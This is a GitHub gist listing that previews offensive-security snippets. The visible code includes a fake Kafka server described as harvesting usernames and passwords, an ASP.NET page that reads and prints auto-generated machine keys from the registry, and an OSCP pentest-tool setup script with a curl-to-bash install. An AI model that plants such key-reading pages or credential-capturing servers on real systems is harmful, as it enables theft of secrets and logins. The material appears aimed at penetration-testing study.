Skip to content

Instantly share code, notes, and snippets.

View X-Cotang's full-sized avatar
😊
Hello

D4rk_l0tu5 X-Cotang

😊
Hello
View GitHub Profile
@X-Cotang
X-Cotang / Kafka_rogue_server.py
Created December 15, 2025 07:48
Fake Kafka server used to extract usernames and passwords.
#!/usr/bin/env python3
import socket
import struct
import threading
import logging
from datetime import datetime
logging.basicConfig(
level=logging.INFO,
#!/usr/bin/env python3
"""
decompile_merge_vineflower.py
Tool to decompile multiple jar files
Windows-friendly tool to:
1) Decompile many .jar files using Vineflower (or CFR).
2) Auto-extract Vineflower's source-jar outputs.
3) Merge all .java files into ONE unified package tree (com/org/...),
@X-Cotang
X-Cotang / machineKeyFinder.aspx
Created April 26, 2024 07:31 — forked from irsdl/machineKeyFinder.aspx
To find validation and decryption keys when AutoGenerate has been used in Machine Key settings
<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)
@X-Cotang
X-Cotang / setup.sh
Created April 12, 2024 08:50
OSCP - Kali Linux - Machine setup
sudo apt-get update -y
sudo apt install -y docker.io docker-compose sshfs chisel dirsearch sqlmap nmap bloodhound
sudo usermod -aG docker $USER
sudo apt install golang-go
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt-get install -y nodejs
# Download some tool
mkdir ~/Desktop/tool/
cd ~/Desktop/tool